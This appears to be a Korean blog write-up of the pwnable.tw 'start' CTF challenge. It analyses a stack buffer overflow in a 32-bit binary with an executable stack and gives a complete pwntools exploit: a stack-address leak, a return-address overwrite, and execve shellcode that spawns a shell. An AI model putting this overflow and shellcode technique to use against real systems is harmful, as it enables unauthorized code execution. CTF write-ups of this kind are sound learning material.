문제
Just a start.
nc chall.pwnable.tw 10000
분석
이 때, 0x0804806e부터 0x08048082까지 push 하는 내용은 문자열이다. ('Let's start the CTF:')
0x08048097에서 사용자로부터 입력을 받아들인다.
심지어 스택에는 rwx 권한도 주어져있다.
EXPLOIT
스택에 실행권한도 있겠다, 당연히 쉘코드를 이용하는 문제인 것 같아 보인다.
하지만 바로 쉘코드를 실행할 수는 없다.
우리가 해야 할 일은 주소를 아는 곳에 쉘코드를 넣고 실행흐름을 그 주소로 뛰어주는 것이다. (ret address 이용)
첫번째 입력을 받을 때는 위의 출력코드로 뛰게 하여 스택 주소를 우선 릭하고
쉘코드를 실행하도록 하였다.
아래는 익스플로잇 코드
#!/usr/bin/env python
# pwnable.tw start
from pwn import *
debug = 0
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\x6a\x0b\x58\xcd\x80"
def exploit():
s.recv(1024)
payload1 = ''
payload1 += 'a' * 20
payload1 += p32(0x8048087)
s.send(payload1)
re = s.recv(4)
stack = u32(re)
if debug:
log.info('stack:'+ hex(stack))
payload2 = ''
payload2 += 'a' * 20
payload2 += p32(stack + 0x14)
payload2 += shellcode
s.send(payload2)
if __name__ == '__main__':
if debug:
s = process('./start')
pause()
else:
s = remote('chall.pwnable.tw', 10000)
exploit()
s.interactive()
s.close()
현재 [esp]에 스택의 주소('Let's start the CTF:'의 주소)가 적혀있기 때문에 mov ecx, esp 를 한번 더 하고 출력하게 되면 우리는 스택주소를 얻을 수 있다.
스택 오프셋 등은 동적분석을 통해 구한 값이다.
FL4G
'pwnable.tw' 카테고리의 다른 글
[pwnable.tw] Silver Bullet writeup (0) | 2018.10.11 |
---|---|
[pwnable.tw] hacknote writeup (0) | 2018.10.11 |
[pwnable.tw] dubblesort writeup (0) | 2018.10.11 |
[pwnable.tw] calc writeup (0) | 2018.10.11 |
[pwnable.tw] orw writeup (0) | 2018.10.11 |